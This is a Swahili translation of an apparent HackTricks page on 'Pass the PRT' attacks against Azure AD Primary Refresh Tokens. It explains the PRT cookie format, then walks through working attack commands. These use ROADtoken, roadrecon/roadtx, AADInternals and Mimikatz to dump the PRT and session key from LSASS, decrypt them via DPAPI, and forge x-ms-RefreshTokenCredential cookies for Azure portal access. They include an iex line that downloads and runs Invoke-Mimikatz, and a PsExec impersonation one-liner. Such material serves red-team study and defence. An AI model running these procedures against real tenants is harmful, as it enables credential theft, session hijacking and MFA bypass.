Az - Pass the PRT

Support HackTricks

PRT ni nini

Az - Primary Refresh Token (PRT)

Angalia kama una PRT

Dsregcmd.exe /status

Katika sehemu ya SSO State, unapaswa kuona AzureAdPrt ikiwa imewekwa kuwa YES.

Katika matokeo hayo hayo unaweza pia kuona kama kifaa kimeunganishwa na Azure (katika sehemu ya AzureAdJoined):

PRT cookie inaitwa x-ms-RefreshTokenCredential na ni JSON Web Token (JWT). JWT ina sehemu 3, header, payload na signature, zilizogawanywa na . na zote zimekodishwa kwa url-safe base64. PRT cookie ya kawaida ina sehemu ya header na body ifuatayo:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Primary Refresh Token (PRT) halisi imewekwa ndani ya refresh_token, ambayo imefichwa na ufunguo unaodhibitiwa na Azure AD, na kufanya maudhui yake kuwa yasiyoeleweka na yasiyoweza kufunguliwa kwetu. Sehemu ya is_primary inaashiria kuwekwa kwa tokeni ya msingi ya upya ndani ya tokeni hii. Ili kuhakikisha kuwa kidakuzi kinabaki kimefungwa kwa kikao maalum cha kuingia kilichokusudiwa, request_nonce inatumwa kutoka ukurasa wa logon.microsoftonline.com.

Mtiririko wa Kidakuzi cha PRT ukitumia TPM

Mchakato wa LSASS utatuma kwa TPM KDF context, na TPM itatumia ufunguo wa kikao (uliochukuliwa wakati kifaa kilisajiliwa katika AzureAD na kuhifadhiwa katika TPM) na muktadha wa awali ku toa ufunguo, na ufunguo huu uliotolewa unatumika kusaini kidakuzi cha PRT (JWT).

KDF context ni nonce kutoka AzureAD na PRT ikitengeneza JWT iliyochanganywa na muktadha (bytes za nasibu).

Kwa hivyo, hata kama PRT haiwezi kutolewa kwa sababu iko ndani ya TPM, inawezekana kutumia LSASS ku omba funguo zilizotolewa kutoka muktadha mpya na kutumia funguo zilizotolewa kusaini Vidakuzi.

Matukio ya Matumizi Mabaya ya PRT

Kama mtumiaji wa kawaida inawezekana kuomba matumizi ya PRT kwa kuuliza LSASS kwa data ya SSO. Hii inaweza kufanywa kama programu asilia ambazo zinaomba tokeni kutoka kwa Web Account Manager (token broker). WAM hupitisha ombi kwa LSASS, ambayo inaomba tokeni kwa kutumia PRT iliyosainiwa. Au inaweza kufanywa na mtiririko wa kivinjari (wavuti) ambapo kidakuzi cha PRT kinatumika kama kichwa kuthibitisha maombi kwa kurasa za kuingia za Azure AS.

Kama SYSTEM unaweza kuiba PRT ikiwa haijalindwa na TPM au kuingiliana na funguo za PRT katika LSASS ukitumia API za kriptografia.

Mifano ya Shambulio la Pass-the-PRT

Shambulio - ROADtoken

Kwa maelezo zaidi kuhusu njia hii angalia chapisho hili. ROADtoken itaendesha BrowserCore.exe kutoka saraka sahihi na kuitumia kupata kidakuzi cha PRT. Kidakuzi hiki kinaweza kisha kutumika na ROADtools kuthibitisha na kupata tokeni ya upya ya kudumu.

Ili kuzalisha kidakuzi halali cha PRT kitu cha kwanza unachohitaji ni nonce. Unaweza kupata hii kwa:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Au kutumia roadrecon:

roadrecon auth prt-init

Kisha unaweza kutumia roadtoken kupata PRT mpya (endesha katika chombo kutoka kwa mchakato wa mtumiaji kushambulia):

.\ROADtoken.exe <nonce>

Kama oneliner:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Kisha unaweza kutumia cookie iliyotengenezwa ili kuzalisha tokeni za kuingia ukitumia Azure AD Graph au Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Shambulio - Kutumia roadrecon

Shambulio - Kutumia AADInternals na PRT iliyovuja

Get-AADIntUserPRTToken inapata token ya PRT ya mtumiaji kutoka kwenye kompyuta iliyounganishwa na Azure AD au Hybrid. Inatumia BrowserCore.exe kupata token ya PRT.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Au kama una maadili kutoka Mimikatz unaweza pia kutumia AADInternals kuzalisha tokeni:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Nenda kwenye https://login.microsoftonline.com, futa kuki zote za login.microsoftonline.com na uingize kuki mpya.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Kisha nenda https://portal.azure.com

Zingine zinapaswa kuwa chaguo-msingi. Hakikisha unaweza kuburudisha ukurasa na kuki haipotei, ikiwa inapotea, huenda umefanya kosa na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa sawa.

Shambulio - Mimikatz

Hatua

  1. PRT (Primary Refresh Token) inatolewa kutoka LSASS (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye.

  2. Session Key inatolewa baadaye. Kwa kuwa ufunguo huu hutolewa awali na kisha kufichwa tena na kifaa cha ndani, inahitaji kufichuliwa kwa kutumia DPAPI masterkey. Maelezo ya kina kuhusu DPAPI (Data Protection API) yanaweza kupatikana katika rasilimali hizi: HackTricks na kwa kuelewa matumizi yake, rejelea Pass-the-cookie attack.

  3. Baada ya kufichua Session Key, ufunguo uliotokana na muktadha wa PRT hupatikana. Hizi ni muhimu kwa kuunda PRT cookie. Hasa, ufunguo uliotokana hutumika kwa kusaini JWT (JSON Web Token) ambayo ni sehemu ya cookie. Maelezo ya kina ya mchakato huu yametolewa na Dirk-jan, yanapatikana hapa.

Kumbuka kwamba ikiwa PRT iko ndani ya TPM na si ndani ya lsass mimikatz haitakuwa na uwezo wa kuitoa. Hata hivyo, itawezekana kupata ufunguo kutoka kwa ufunguo uliotokana na muktadha kutoka TPM na kuitumia kusaini cookie (angalia chaguo 3).

Unaweza kupata maelezo ya kina ya mchakato uliofanywa kutoa maelezo haya hapa: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Hii haitafanya kazi hasa baada ya marekebisho ya Agosti 2021 kupata PRT za watumiaji wengine kwani ni mtumiaji pekee anayeweza kupata PRT yake (msimamizi wa ndani hawezi kufikia PRT za watumiaji wengine), lakini anaweza kufikia yake.

Unaweza kutumia mimikatz kutoa PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Picha kutoka https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Nakili sehemu iliyoandikwa Prt na uihifadhi. Toa pia ufunguo wa kikao (the KeyValue wa uwanja wa ProofOfPossesionKey) ambao unaweza kuona umeangaziwa hapa chini. Hii imefichwa na tutahitaji kutumia DPAPI masterkeys zetu kuifungua.

Kama huoni data yoyote ya PRT inaweza kuwa huna PRT yoyote kwa sababu kifaa chako hakijaunganishwa na Azure AD au inaweza kuwa unatumia toleo la zamani la Windows 10.

Ili kufungua ufunguo wa kikao unahitaji kuinua haki zako hadi SYSTEM ili kuendesha chini ya muktadha wa kompyuta ili uweze kutumia DPAPI masterkey kuifungua. Unaweza kutumia amri zifuatazo kufanya hivyo:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Chaguo 1 - Mimikatz Kamili

  • Sasa unataka kunakili thamani ya Context:

  • Na thamani ya derived key:

  • Hatimaye unaweza kutumia taarifa hizi zote kuzalisha PRT cookies:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Mengine yanapaswa kuwa chaguo-msingi. Hakikisha unaweza kuburudisha ukurasa na kuki haipotei, ikiwa inatoweka, unaweza kuwa umefanya kosa na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa sawa.

Chaguo 2 - roadrecon kutumia PRT

  • Fanya upya PRT kwanza, ambayo itaokoa katika roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Sasa tunaweza kuomba tokeni kwa kutumia kivinjari cha maingiliano na roadtx browserprtauth. Tukitumia amri ya roadtx describe, tunaona tokeni ya ufikiaji inajumuisha dai la MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na dai la MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Chaguo la 3 - roadrecon kutumia funguo zilizotokana

Kuwa na muktadha na ufunguo uliotokana uliotolewa na mimikatz, inawezekana kutumia roadrecon kuzalisha cookie mpya iliyosainiwa na:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Marejeo

Support HackTricks

Last updated